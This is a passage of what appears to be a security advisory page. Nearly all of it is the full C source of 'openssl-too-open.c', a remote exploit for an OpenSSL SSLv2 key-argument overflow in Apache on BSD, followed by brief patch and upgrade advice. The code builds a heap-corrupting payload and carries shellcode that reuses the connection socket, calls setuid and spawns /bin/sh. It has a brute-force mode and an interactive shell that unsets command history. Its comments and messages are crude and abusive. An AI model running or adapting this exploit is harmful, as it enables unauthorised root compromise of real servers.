		"AAAA"								/* long verify result; */
		"\x01\x00\x00\x00"					/* int references; */
		"AAAA"								/* int timeout; */
		"AAAA"								/* int time */
		"AAAA"								/* int compress meth; */
		"\x00\x00\x00\x00"					/* SSL CIPHER *cipher; */
		"AAAA"								/* unsigned long cipher id; */
		"\x00\x00\x00\x00"					/* STACK OF(SSL CIPHER) *ciphers; */
		"\x00\x00\x00\x00\x00\x00\x00\x00"	/* CRYPTO EX DATA ex data; */
		"AAAAAAAA"							/* struct ssl session st *prev,*next; */
	
		"\x00\x00\x00\x00"					/* Size of previous chunk */
		"\x11\x00\x00\x00"					/* Size of chunk, in bytes */
		"fdfd"								/* Forward and back pointers */
		"bkbk"
		"\x10\x00\x00\x00"					/* Size of previous chunk */
		"\x10\x00\x00\x00"					/* Size of chunk, PREV INUSE is set */
	
	/*
	 * this is some shitty shellcode
	 * but i hope it works
	 */
	/* shellcode start */
	    "\xeb\x0a\x90\x90"	/* jump 10 bytes ahead, land at shellcode */
	    "\x90\x90\x90\x90"
	    "\x90\x90\x90\x90"	/* this is overwritten with FD by the unlink macro */
	
	 /********************* findsckcode 59 bytes ********************/
	    "\x56"                 /* pushl   %esi                   */
	    "\x5f"                 /* popl    %edi                   */
	    "\x83\xef\x7c"         /* subl    $0x7c,%edi             */
	    "\x57"                 /* pushl   %edi                   */
	    "\xb0\x10"             /* movb    $0x10,%al              */
	    "\xab"                 /* stosl   %eax,%es:(%edi)        */
	    "\x57"                 /* pushl   %edi                   */
	    "\x31\xc9"             /* xorl    %ecx,%ecx              */
	    "\xb1\xff"             /* movb    $0xff,%cl              */ 
	    "\x51"                 /* pushl   %ecx                   */
	    "\x33\xc0"             /* xorl    %eax,%eax              */
	    "\xb0\x1f"             /* movb    $0x1f,%al              */
	    "\x51"                 /* pushl   %ecx                   */
	    "\xcd\x80"             /* int     $0x80                  */
	    "\x59"                 /* popl    %ecx                   */
	    "\x59"                 /* popl    %ecx                   */
	    "\x33\xdb"             /* xorl    %ebx,%ebx              */
	    "\x3b\xc3"             /* cmpl    %ebx,%eax              */
	    "\x75\x0a"             /* jne     <findsckcode+40>       */
	    "\x66\xbb\x12\x34"     /* movw    $0x1234,%bx            */
	    "\x66\x39\x5f\x02"     /* cmpw    %bx,0x2(%edi)          */
	    "\x74\x02"             /* je      <findsckcode+42>       */
	    "\xe2\xe4"             /* loop    <findsckcode+14>       */
	    "\x51"                 /* pushl   %ecx                   */
	    "\x50"                 /* pushl   %eax                   */
	    "\x91"                 /* xchgl   %ecx,%eax              */
	    "\xb1\x03"             /* movb    $0x03,%cl              */
	    "\x49"                 /* decl    %ecx                   */
	    "\x89\x4c\x24\x08"     /* movl    %ecx,0x8(%esp)         */ 
	    "\x41"                 /* incl    %ecx                   */
	    "\xb0\x5a"             /* movb    $0x5a,%al              */
	    "\xcd\x80"             /* int     $0x80                  */
	    "\xe2\xf4"             /* loop    <findsckcode+47>       */
	
	/********************* setuidcode 7 bytes *************************/
	
	    "\x33\xc0"             /* xorl    %eax,%eax              */
	    "\x50"                 /* pushl   %eax                   */
	    "\xb0\x17"             /* movb    $0x17,%al              */
	    "\x50"                 /* pushl   %eax                   */
	    "\xcd\x80"             /* int     $0x80                  */
	
	/************ execl("/bin/sh", "/bin/sh", 0); 23 bytes ************/
	
	    "\x31\xc0"             /* xorl    %eax,%eax              */
	    "\x50"                 /* pushl   %eax                   */
	    "\x68""//sh"           /* pushl   $0x68732f2f            */
	    "\x68""/bin"           /* pushl   $0x6e69622f            */
	    "\x89\xe3"             /* movl    %esp,%ebx              */
	    "\x50"                 /* pushl   %eax                   */
	    "\x54"                 /* pushl   %esp                   */
	    "\x53"                 /* pushl   %ebx                   */
	    "\x50"                 /* pushl   %eax                   */
	    "\xb0\x3b"             /* movb    $0x3b,%al              */
	    "\xcd\x80"             /* int     $0x80                  */
	;
	/* read and write buffer */
	#define BUFSIZE 50000
	
	/* hardcoded protocol stuff */
	#define CHALLENGE_LENGTH 16
	#define RC4_KEY_LENGTH 16	/* 128 bits */
	#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
	
	/* straight from the openssl source */
	#define n2s(c,s)    ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))   )),c+=2)
	#define s2n(s,c)    ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
	
	/* we keep all SSL2 state in this structure */
	typedef struct {
		int sock;
	
		/* client stuff */
		unsigned char challenge[CHALLENGE_LENGTH];
		unsigned char master_key[RC4_KEY_LENGTH];
		unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
	
		/* connection id - returned by the server */
		int conn_id_length;
		unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
	
		/* server certificate */
		X509 *x509;
	
		/* session keys */
		unsigned char* read_key;
		unsigned char* write_key;
		RC4_KEY* rc4_read_key;
		RC4_KEY* rc4_write_key;
	
		/* sequence numbers, used for MAC calculation */
		int read_seq;
		int write_seq;
	
		/* set to 1 when the SSL2 handshake is complete */
		int encrypted;
	} ssl_conn;
	
	#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
	#define COMMAND2 "unset HISTFILE; uname -a; id; w;\n"
	
	long getip(char *hostname) {
		struct hostent *he;
		long ipaddr;
		
		if ((ipaddr = inet_addr(hostname)) < 0) {
			if ((he = gethostbyname(hostname)) == NULL) {
				perror("gethostbyname()");
				exit(-1);
			}
			memcpy(&ipaddr, he->h_addr, he->h_length);
		}	
		return ipaddr;
	}
	
	/* mixter's code w/enhancements by core */
	
	int sh(int sockfd) {
	   char snd[1024], rcv[1024];
	   fd_set rset;
	   int maxfd, n;
	
	   /* Priming commands */
	   strcpy(snd, COMMAND1 "\n");
	   write(sockfd, snd, strlen(snd));
	
	   strcpy(snd, COMMAND2 "\n");
	   write(sockfd, snd, strlen(snd));
	
	   /* Main command loop */
	   for (;;) {
	      FD_SET(fileno(stdin), &rset);
	      FD_SET(sockfd, &rset);
	
	      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
	      select(maxfd, &rset, NULL, NULL, NULL);
	
	      if (FD_ISSET(fileno(stdin), &rset)) {
		 bzero(snd, sizeof(snd));
		 fgets(snd, sizeof(snd)-2, stdin);
		 write(sockfd, snd, strlen(snd));
	      }
	
	      if (FD_ISSET(sockfd, &rset)) {
		 bzero(rcv, sizeof(rcv));
	
		 if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
		    printf("Good Bye!\n");
		    return 0;
		 }
		 else programexit=1;
	
		 if (n < 0) {
		    perror("read");
		    return 1;
		 }
	
		 fputs(rcv, stdout);
		 fflush(stdout); /* keeps output nice */
	      }
	   } /* for(;;) */
	}
	
	/* Returns the local port of a connected socket */
	int get_local_port(int sock)
	{
		struct sockaddr_in s_in;
		unsigned int namelen = sizeof(s_in);
	
		if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
			printf("Can't get local port: %s\n", strerror(errno));
			exit(1);
		}
	
		return s_in.sin_port;
	}
	
	/* Connect to a host */
	int connect_host(char* host, int port)
	{
		struct sockaddr_in s_in;
		int sock;
	
	//	printf("aaa %s %d\n",host,port);
		s_in.sin_family = PF_INET;
		s_in.sin_addr.s_addr = getip(host);
		s_in.sin_port = htons(port);
	
	//	printf("aaa\n");
		if ((sock = socket(PF_INET, SOCK_STREAM, 0)) <= 0) {
			printf("Could not create a socket\n");
			exit(1);
		}
	
	//	printf("aaa\n");
		if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
			printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
			exit(1);
		}
	//	printf("aaa\n");
	
		return sock;
	}
	
	/* Create a new ssl conn structure and connect to a host */
	ssl_conn* ssl_connect_host(char* host, int port)
	{
		ssl_conn* ssl;
	
		if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
			printf("Can't allocate memory\n");
			exit(1);
		}
	
		/* Initialize some values */
		ssl->encrypted = 0;
		ssl->write_seq = 0;
		ssl->read_seq = 0;
	
		ssl->sock = connect_host(host, port);
	
		return ssl;
	}
	
	/* global buffer used by the ssl result() */
	char res_buf[30];
	
	/* converts an SSL error code to a string */
	char* ssl_error(int code) {
		switch (code) {
			case 0x00:	return "SSL2 PE UNDEFINED ERROR (0x00)";
			case 0x01:	return "SSL2 PE NO CIPHER (0x01)";
			case 0x02:	return "SSL2 PE NO CERTIFICATE (0x02)";
			case 0x04:	return "SSL2 PE BAD CERTIFICATE (0x03)";
			case 0x06:	return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
		default:
			sprintf(res_buf, "%02x", code);
			return res_buf;
		}
	}
	
	/* read len bytes from a socket. boring. */
	int read_data(int sock, unsigned char* buf, int len)
	{
		int l;
		int to_read = len;
	
	//	printf("sock before read = %d\n",sock);
	
		do {
			if ((l = read(sock, buf, to_read)) < 0) {
				printf("Error in read: %s\n", strerror(errno));
				exit(1);
			}
			to_read -= len;
		} while (to_read > 0);
	
		return len;
	}
	
	/* reads an SSL packet and decrypts it if necessery */
	int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
	{
		int rec_len, padding;
	
	//	printf("read_ssl_packet()\n");
	//	printf("1) before read ssl sock = %d\n",ssl->sock);
	
		read_data(ssl->sock, buf, 2);
	
		if ((buf[0] & 0x80) == 0) {
			/* three byte header */
			rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
	//	printf("2) before read ssl sock = %d\n",ssl->sock);
			read_data(ssl->sock, &buf[2], 1);
			padding = (int)buf[2];
		}
		else {
			/* two byte header */
			rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
			padding = 0;
		}
	
		if ((rec_len <= 0) || (rec_len > buf_size)) {
			printf("read_ssl_packet: Record length out of range (rec_len =%d)\n",rec_len); 
			sslerror=1;return 0; //exit(1);
		}
	
	//	printf("3) before read ssl sock = %d\n",ssl->sock);
	
		read_data(ssl->sock, buf, rec_len);
	
		if (ssl->encrypted) {
			if (MD5_DIGEST_LENGTH + padding >= rec_len) {
				if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
					/* the server didn't switch to encryption due to an error */
					return 0;
				}
				else {
					printf("read_ssl_packet: Encrypted message is too short(rec_len = %d)\n",rec_len);
					sslerror=1;return 0;//exit(1);
				}
			}
	
			/* decrypt the encrypted part of the packet */
			RC4(ssl->rc4_read_key, rec_len, buf, buf);
	
			/* move the decrypted message in the beginning of the buffer */
			rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
			memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
		}
	
		if (buf[0] == SSL2_MT_ERROR) {
			if (rec_len != 3) {
				printf("Malformed server error message\n");
				sslerror=1;return 0;//exit(1);
			}
			else {
				return 0;
			}
		}
	
		return rec_len;
	}
	
	/* send an ssl packet, encrypting it if ssl->encrypted is set */
	void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
	{
		unsigned char buf[BUFSIZE];
		unsigned char* p;
		int tot_len;
		MD5_CTX ctx;
		int seq;
	
	
		if (ssl->encrypted)
			tot_len = rec_len + MD5_DIGEST_LENGTH;	/* RC4 needs no padding */
		else
			tot_len = rec_len;
	
		if (2 + tot_len > BUFSIZE) {
			printf("send_ssl_packet: Record length out of range (rec_len =%d)\n",rec_len);
			sslerror=1;return;//exit(1);
		}
	
		p = buf;
		s2n(tot_len, p);
	
		buf[0] = buf[0] | 0x80;	/* two byte header */
	
		if (ssl->encrypted) {
			/* calculate the MAC */
			seq = ntohl(ssl->write_seq);
	
			MD5_Init(&ctx);
			MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
			MD5_Update(&ctx, rec, rec_len);
			MD5_Update(&ctx, &seq, 4);
			MD5_Final(p, &ctx);
	
			p+=MD5_DIGEST_LENGTH;
	
			memcpy(p, rec, rec_len);
	
			/* encrypt the payload */
			RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
	
		}
		else {
			memcpy(p, rec, rec_len);
		}
	
		send(ssl->sock, buf, 2 + tot_len, 0);
	
		/* the sequence number is incremented by both encrypted and plaintext packets*/
		ssl->write_seq++;
	}
	
	/* Send a CLIENT HELLO message to the server */
	void send_client_hello(ssl_conn *ssl)
	{
		int i;
		unsigned char buf[BUFSIZE] =
			"\x01"			/* client hello msg */
	
			"\x00\x02"		/* client version */
			"\x00\x18"		/* cipher specs length */
			"\x00\x00"		/* session id length */
			"\x00\x10"		/* challenge length */
	
			"\x07\x00\xc0\x05\x00\x80\x03\x00"	/* cipher specs data */
			"\x80\x01\x00\x80\x08\x00\x80\x06"
			"\x00\x40\x04\x00\x80\x02\x00\x80"
	
			"";									/* session id data */
	
		/* generate CHALLENGE LENGTH bytes of challenge data */
		for (i = 0; i < CHALLENGE_LENGTH; i++) {
			ssl->challenge[i] = (unsigned char) (rand() >> 24);
		}
		memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
	
		send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
	}
	
	/* Get a SERVER HELLO response from the server */
	void get_server_hello(ssl_conn* ssl)
	{
		unsigned char buf[BUFSIZE];
		unsigned char *p, *end;
		int len;
		int server_version, cert_length, cs_length, conn_id_length;
		int found;
	
		if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
			printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
			exit(1);
		}
		if (len < 11) {
			printf("get_server_hello: Packet too short (len = %d)\n", len);
			sslerror=1;return ;//		exit(1);
		}
	
		p = buf;
	
		if (*(p++) != SSL2_MT_SERVER_HELLO) {
			printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got%x\n",(int)p[-1]);
			sslerror=1;return ;//		exit(1);
		}
	
		if (*(p++) != 0) {
			printf("get_server_hello: SESSION-ID-HIT is not 0\n");
			sslerror=1;return ;//		exit(1);
		}
	
		if (*(p++) != 1) {
			printf("get_server_hello: CERTIFICATE-TYPE is not SSL CTX509CERTIFICATE\n");
			sslerror=1;return ;//		exit(1);
		}
	
		n2s(p, server_version);
		if (server_version != 2) {
			printf("get_server_hello: Unsupported server version %d\n", server_version);
			sslerror=1;return ;//		exit(1);
		}
	
		n2s(p, cert_length);
		n2s(p, cs_length);
		n2s(p, conn_id_length);
	
		if (len != 11 + cert_length + cs_length + conn_id_length) {
			printf("get_server_hello: Malformed packet size\n");
			sslerror=1;return ;//		exit(1);
		}
	
		/* read the server certificate */
		ssl->x509 = NULL;
		ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
		if (ssl->x509 == NULL) {
			printf("get server hello: Cannot parse x509 certificate\n");
			sslerror=1;return ;//		exit(1);
		}
	
		if (cs_length % 3 != 0) {
			printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");
			sslerror=1;return ;//		exit(1);
		}
	
		found = 0;
		for (end=p+cs_length; p < end; p += 3) {
			if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))
				found = 1;	/* SSL CK RC4 128 WITH MD5 */
		}
	
		if (!found) {
			printf("get server hello: Remote server does not support 128 bit RC4\n");
			sslerror=1;return ;//		exit(1);
		}
	
		if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {
			printf("get server hello: CONNECTION-ID-LENGTH is too long\n");
			sslerror=1;return ;//		exit(1);
		}
	
		/* The connection id is sent back to the server in the CLIENT FINISHED packet*/
		ssl->conn_id_length = conn_id_length;
		memcpy(ssl->conn_id, p, conn_id_length);
	}
	
	/* Send a CLIENT MASTER KEY message to the server */
	
	void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite,int
	key_arg_overwrite_len) {
		int encrypted_key_length, key_arg_length, record_length;
		unsigned char* p;
		int i;
		EVP_PKEY *pkey=NULL;
	
		unsigned char buf[BUFSIZE] =
			"\x02"			/* client master key message */
			"\x01\x00\x80"	/* cipher kind */
			"\x00\x00"		/* clear key length */
			"\x00\x40"		/* encrypted key length */
			"\x00\x08";		/* key arg length */
	
		p = &buf[10];
	
		/* generate a 128 byte master key */
		for (i = 0; i < RC4_KEY_LENGTH; i++) {
			ssl->master_key[i] = (unsigned char) (rand() >> 24);
		}
	
		pkey=X509_get_pubkey(ssl->x509);
		if (!pkey) {
			printf("send client master key: No public key in the server certificate\n");
			sslerror=1;return ;//		exit(1);
		}
	
		if (pkey->type != EVP_PKEY_RSA) {
			printf("send client master key: The public key in the server certificate is not a RSA key\n");
			sslerror=1;return ;//		exit(1);
		}
	
		/* Encrypt the client master key with the server public key and put it in thepacket
	*/
		encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key,&buf[10],pkey->pkey.rsa, RSA_PKCS1_PADDING);
		if (encrypted_key_length <= 0) {
			printf("send client master key: RSA encryption failure\n");
			sslerror=1;return ;//		exit(1);
		}
	
		p += encrypted_key_length;
	
		if (key_arg_overwrite) {
			/* These 8 bytes fill the key arg array on the server */
			for (i = 0; i < 8; i++) {
				*(p++) = (unsigned char) (rand() >> 24);
			}
			/* This overwrites the data following the key arg array */
			memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
	
			key_arg_length = 8 + key_arg_overwrite_len;
		}
		else {
			key_arg_length = 0;	/* RC4 doesn't use KEY-ARG */
		}
	
		p = &buf[6];
		s2n(encrypted_key_length, p);
		s2n(key_arg_length, p);
	
		record_length = 10 + encrypted_key_length + key_arg_length;
		send_ssl_packet(ssl, buf, record_length);
	
		/* all following messages should be encrypted */
		ssl->encrypted = 1;
	}
	
	/* Generate the key material using the algorithm described in the SSL2specification */
	void generate_key_material(ssl_conn* ssl)
	{
		unsigned int i;
		MD5_CTX ctx;
		unsigned char *km;
		unsigned char c='0';
	
		km=ssl->key_material;
		for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
			MD5_Init(&ctx);
	
			MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
			MD5_Update(&ctx,&c,1);
			c++;
			MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
			MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
			MD5_Final(km,&ctx);
			km+=MD5_DIGEST_LENGTH;
		}
	}
	
	/* Generate the RC4 session read and write keys */
	void generate_session_keys(ssl_conn* ssl)
	{
		generate_key_material(ssl);
	
		ssl->read_key = &(ssl->key_material[0]);
		ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
		RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
	
		ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
		ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
		RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
	}
	
	/* Get a SERVER VERIFY response from the server */
	void get_server_verify(ssl_conn* ssl)
	{
		unsigned char buf[BUFSIZE];
		int len;
	
		if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
			printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
			exit(1);
		}
		if (len != 1 + CHALLENGE_LENGTH) {
			printf("get server verify: Malformed packet size\n");
			sslerror=1;return ;//		exit(1);
		}
	
		if (buf[0] != SSL2_MT_SERVER_VERIFY) {
			printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n",(int)buf[0]);
			sslerror=1;return ;//		exit(1);
		}
	
		/* If this works, our decryption key is correct */
		if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {
			printf("get server verify: Challenge strings don't match\n");
			sslerror=1;return ;//		exit(1);
		}
	}
	
	/* Send a CLIENT FINISHED message to the server */
	void send_client_finished(ssl_conn* ssl)
	{
		unsigned char buf[BUFSIZE];
	
		buf[0] = SSL2_MT_CLIENT_FINISHED;
		memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
	
		send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
	}
	
	/* Get a SERVER FINISHED message from the server */
	void get_server_finished(ssl_conn* ssl)
	{
		unsigned char buf[BUFSIZE];
		int len;
		int i;
	
		if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
			printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
			exit(1);
		}
		if (buf[0] != SSL2_MT_SERVER_FINISHED) {
			printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n",(int)buf[0]);
			sslerror=1;return ;//		exit(1);
		}
	
		if (len <= 112 /*17*/) {
			printf("This server is not vulnerable to this attack.\n");
			sslerror=1;return ;//		exit(1);
		}
	
		printf("Session:\n");
		printf("0000 - ");
		for (i = 1; i < len; i++) {
			printf("%02x ", (unsigned int)buf[i]);
			if (i % 16 == 0) printf("\n%04x - ", i);
		}
		printf("\n");
	
		cipher = *(int*)&buf[101];
		ciphers = *(int*)&buf[109];
	
		printf("cipher: 0x%x   ciphers: 0x%x\n", cipher, ciphers);
	}
	
	void get_server_error(ssl_conn* ssl)
	{
		unsigned char buf[BUFSIZE];
		int len;
	
		if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {
			printf("get server finished: Expected SSL2 MT ERROR, got %x\n",
			(int)buf[0]);
			sslerror=1;return ;//		exit(1);
		}
	}
	
	void usage(char* argv0)
	{
		int i = 0;
	
		printf(": Usage: %s <-h hostname> [-t arch] [-p port] [-c N] [-b 0x<address>][-brute]\n", argv0);
		printf("  Supported architectures:\n");
		while(architectures[i].desc) {
			if(architectures[i].desc)
				printf("\t0x%02x - %s\n", i, architectures[i].desc);
			i++;
		}
	
		printf("\nUse the -c option to open N connections before sending the shellcode.\n");
		printf("-b: brute by using start address that will be decrimenting by -4 ;)\n");
		printf("-brute: faster brute by using targets in exploit (t.i. 0x00, 0x01,etc.)\n");
	
		exit(1);
	}
	
	/* run, code, run */
	int main(int argc, char* argv[])
	{
		char* host = NULL;
		int port = 443, portcpy=443;
		int i,j;
		int arch;
		int N = 0;
		ssl_conn* ssl1;
		ssl_conn* ssl2;
		int brute=0,xbrute=0;
		long retaddr;
		int sckmass[500];
	
		printf(": openssl-too-open.c - OpenSSL remote apache exploit For BSD\n");
	
	//	if ((argc < 3) || (argc > 6))
	//		usage(argv[0]);
	//
	//	/* pff... use getopt next time, fool */
	
	//	sscanf(argv[1], "0x%x", &arch);
	//	if ((arch < 0) || (arch > MAX_ARCH))
	//		usage(argv[0]);
	
	//	host = argv[4];
	
	//	if (argc == 2)
	//		port = atoi(argv[3]);
	//	else if (argc == 5) {
	//		if (strcmp(argv[3], "-c"))
	//			usage(argv[0]);
	//		N = atoi(argv[4]);
	//	}
	//	else if (argc == 6) {
	//		port = atoi(argv[3]);
	//		if (strcmp(argv[4], "-c"))
	//			usage(argv[0]);
	//		N = atoi(argv[5]);
	//	}
	  
	        /* this part will be much better ;) */
		
		for(j=0;j<argc;j++) {
			if(strcmp(argv[j],"-b")==0) {sscanf(argv[j+1],"0x%x",&retaddr); brute=1;}
			if(strcmp(argv[j],"-t")==0) {sscanf(argv[j+1],"0x%x",&arch);
			if ((arch < 0) || (arch > MAX_ARCH)) 
			usage(argv[0]);}
			if(strcmp(argv[j],"-h")==0) {host = argv[j+1];}
			if(strcmp(argv[j],"-p")==0) {portcpy = atoi(argv[j+1]);}
			if(strcmp(argv[j],"-c")==0) {N = atoi(argv[j+1]);}
			if(strcmp(argv[j],"-brute")==0) { xbrute=1; }		
		}
	
		if(host==NULL) usage(argv[0]);
		if(xbrute) retaddr=-1;
	
		port=portcpy;
	
		srand(0x31337);
	
		/* Open N connections before sending the shellcode. Hopefully this will
		   use up all available apache children and the shellcode will be handled
		   by a freshly spawned one */
	
		j=0;
		for (i=0; i<N; i++) {
			printf("\rOpening connections... %d of %d", i+1, N);
			fflush(stdout);
			sckmass[j++]=connect_host(host, port);
			usleep(100000);
		}
	
		if (N) printf("\n");
	
		/* Establish the first connection. Overwrite session id length, and read
		   the session contents in the SERVER FINISHED packet. We need the cipher
		   and ciphers variables from the session structure to make the shellcode
		   work */
	
		printf("Establishing SSL connection - Are you jackin?\n");
	
	
		/*BRUTE FORCE MODE*/
		
		if(brute || xbrute) {
	
			printf("\n[Brute Force Mode Enabled, fuqn werd :)]\n\n");
	
	
	
			while( (retaddr >= 8000000) || (xbrute) ) {
	
			ssl1 = ssl_connect_host(host, port);
			ssl2 = ssl_connect_host(host, port);
	
	//		printf("ssl1 = %d, ssl2 = %d\n",ssl1,ssl2);
	
			send_client_hello(ssl1);
			get_server_hello(ssl1);
			send_client_master_key(ssl1,overwrite_session_id_length,sizeof(overwrite_session_id_length)-1);
			generate_session_keys(ssl1);
			get_server_verify(ssl1);
			send_client_finished(ssl1);
			get_server_finished(ssl1);
	
			/* The second connection uses the ciphers variable to get the shellcode
			   address and sends the shellcode to server */
	
			printf("You better be ready to send shellcode, motherfucker\n"
			       "Cuz we gonna jack the fuckin ACID!@$!@$\n");
	
			port = get_local_port(ssl2->sock);
			overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
			overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
	
			/* We must overwrite s->session->cipher with its original value */
			*(int*)&overwrite_next_chunk[156] = cipher;
	
			/* The fd and bk pointers of the fake malloc chunk */
	
			if(xbrute) {
				retaddr++;
				if(architectures[retaddr].func_addr==0) exit(1);
				printf("[*] trying target 0x%x[0x%x]\n",retaddr,architectures[retaddr].func_addr);
				
				*(int*)&overwrite_next_chunk[192] = architectures[retaddr].func_addr- 12;
			}
			else{
				retaddr-=4;
				printf("[*] trying 0x%x\n",retaddr);
	
				*(int*)&overwrite_next_chunk[192] = retaddr;
			}
	
	
	
			*(int*)&overwrite_next_chunk[196] = ciphers + 16;	/* shellcode address */
	
			send_client_hello(ssl2);
			get_server_hello(ssl2);
	
			send_client_master_key(ssl2,overwrite_next_chunk,sizeof(overwrite_next_chunk)-1);
			generate_session_keys(ssl2);
			get_server_verify(ssl2);
	
			/* overwrite the connection id with random bytes, causing the server toabortthe connection */
			for (i = 0; i < ssl2->conn_id_length; i++) {
				ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
			}
			send_client_finished(ssl2);
			get_server_error(ssl2);
		
			if(sslerror==0) {
				printf("Nigga plz...\n");
	
				sleep(1);
	
				sh(ssl2->sock);
			}else sslerror=0;
			
			close(ssl2->sock);
			close(ssl1->sock);
	
			port=portcpy;
			for(j=0;j<N;j++) close(sckmass[j]);
	
			if(programexit) exit(1);
	
			srand(0x31337);
	
			/* Open N connections before sending the shellcode. Hopefully this will
			   use up all available apache children and the shellcode will be handled
			   by a freshly spawned one */
	
			j=0;
			for (i=0; i<N; i++) {
				printf("\rOpening connections... %d of %d", i+1, N);
				fflush(stdout);
				sckmass[j++]=connect_host(host, port);
				usleep(100000);
			}
	
			if (N) printf("\n");
	
			/* Establish the first connection. Overwrite session id length, and read
			   the session contents in the SERVER FINISHED packet. We need the cipher
			   and ciphers variables from the session structure to make the shellcode
			   work */
	
			printf("Establishing SSL connection\n");
	
			}
			}
		/*END BRUTE FORCE*/
		else {
	
			ssl1 = ssl_connect_host(host, port);
			ssl2 = ssl_connect_host(host, port);
	
	
			send_client_hello(ssl1);
			get_server_hello(ssl1);
			send_client_master_key(ssl1,overwrite_session_id_length,sizeof(overwrite_session_id_length)-1);
			generate_session_keys(ssl1);
			get_server_verify(ssl1);
			send_client_finished(ssl1);
			get_server_finished(ssl1);
	
			/* The second connection uses the ciphers variable to get the shellcode
			   address and sends the shellcode to server */
	
			printf("Ready to send shellcode\n");
	
			port = get_local_port(ssl2->sock);
			overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
			overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
	
			/* We must overwrite s->session->cipher with its original value */
			*(int*)&overwrite_next_chunk[156] = cipher;
	
			/* The fd and bk pointers of the fake malloc chunk */
	
	
			*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
	
			*(int*)&overwrite_next_chunk[196] = ciphers + 16;	/* shellcode address */
	
			send_client_hello(ssl2);
			get_server_hello(ssl2);
			
			send_client_master_key(ssl2,overwrite_next_chunk,sizeof(overwrite_next_chunk)-1);
			generate_session_keys(ssl2);
			get_server_verify(ssl2);
		
			/* overwrite the connection id with random bytes, causing the server toabortthe connection */
			for (i = 0; i < ssl2->conn_id_length; i++) {
				ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
			}
			send_client_finished(ssl2);
			get_server_error(ssl2);
	
			printf("Spawning shell...\n");
	
			sleep(1);
	
			sh(ssl2->sock);
	
			close(ssl2->sock);
			close(ssl1->sock);
		
	
			for(j=0;j<N;j++) close(sckmass[j]);
	
		}
	
		return 0;
	}
	
	/* EOF */
	

SOLUTION

	 Adv 1
	 =====
	
	 Recommendations
	 ---------------
	
	Apply the attached patch  to  OpenSSL  0.9.6d,  or  upgrade  to  OpenSSL
	0.9.6e. Recompile all applications using OpenSSL to provide SSL or TLS.
	
	A  patch   for   0.9.7   is   available   from   the   OpenSSL   website
	(http://www.openssl.org/).
	
	Servers can disable SSL2, alternatively disable all  applications  using
	SSL or TLS until the patches are applied.  Users  of  0.9.7  pre-release
	versions with Kerberos enabled will also have to disable Kerberos.
	
	Client should be disabled altogether until the patches are applied.
	
	
	
	 Adv 2
	 =====
	
	 Recommendations
	 ---------------
	
	Apply the patch to OpenSSL, or upgrade to OpenSSL 0.9.6e. Recompile  all
	applications using OpenSSL.
	
	Users of 0.9.7 pre-release versions should apply the  patch  or  upgrade
	to 0.9.7-beta3 or later. Recompile all applications using OpenSSL.
	
	
	
	
